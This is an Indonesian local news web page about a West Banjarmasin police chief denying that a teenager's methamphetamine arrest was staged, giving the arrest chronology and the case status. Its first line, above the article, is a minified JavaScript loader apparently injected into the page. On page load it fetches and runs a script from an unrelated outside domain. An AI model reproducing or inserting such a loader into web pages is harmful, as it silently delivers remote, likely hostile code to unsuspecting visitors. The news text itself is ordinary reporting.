(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dituding Kasus Rekayasa, Kapolsek Banjarmasin Barat Jelaskan Kronologis Penangkapan Remaja Pemilik Sabu


KANALKALIMANTAN.COM, BANJARMASIN – Kasus penangkapan remaja yang belum genap 17 tahun di Banjarmasin menyimpan 5 paket sabu sempat diisukan sebagai sebuah kasus rekayasa.

Setelah kasus penangkapan tersebut viral, banyak netizen di media sosial yang menganggap anak BBM pelaku yang kedapatan menyimpan sabu di balik plafon toko ponsel tempatnya bekerja tersebut hanya dijadikan tumbal alias korban.

Tudingan itu langsung dibantah dari Kapolsek Banjarmasin Barat Kompol Indra Agung Perdana Putra.

“Tidak ada rekayasa, ini murni hasil penyelidikan dan kita temukan barang bukti narkoba jenis sabu,” katanya, Jumat (5/8/2023) kemarin.

Baca juga: Suka Tanaman Dikerdilkan, Ada Pameran Bonsai Dua Hari di Banjarmasin

Kapolsek Banjarmasin Barat menjelaskan, kasus tersebut bermula dari adanya informasi masyarakat kepada pihak Polsek Banjarmasin Barat sehingga dilakukan penyelidikan.

Polisi kemudian melakukan penggerebekan terhadap lelaki berinisial R di jalan Teluk Tiram Darat, Kelurahan Telawang, Kecamatan Banjarmasin Barat, Kota Banjarmasin pada Sabtu (22/7/2023) lalu.

Setelah menangkap R, tim Polsek Banjarmasin Barat kembali melakukan pengembalian dan penggeledahan ke toko Nizam Cell hingga kemudian didapat barang bukti lima paket kecil sabu dengan berat 22,46 gram.

“Di toko ponsel Nizam ini MGD (17) kami amankan,” kata Kapolsek Banjarmasin Barat.

Baca juga: Adu Aerox vs Avanza di Kawasan Gelap Perkantoran Pemprov, Pemotor Patah Kaki

Dijelaskan Kompol Indra, setelah melakukan penangkapan dan seusai dengan ketentuan ABH (Anak Berkonflik dengan Hukum) di bawah umur yang merujuk pada sistem perlindungan anak (Sislinak), pemeriksaan pun berjalan dan telah didampingi penasehat hukum dan orangtua anak.

Dikatakan, penyidik telah menyita barang bukti bukti kejahatan dan saat ini masih dilakukan pengembangan untuk mencari tersangka lainnya.

“Kasus tersebut sudah P21 dan sudah proses tahap 2, kembali saya tegaskan kasus ini tidak ada rekayasa semua murni hasil penyelidikan dan penyidikan yang berjalan sesuai prosedur yang berlaku,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.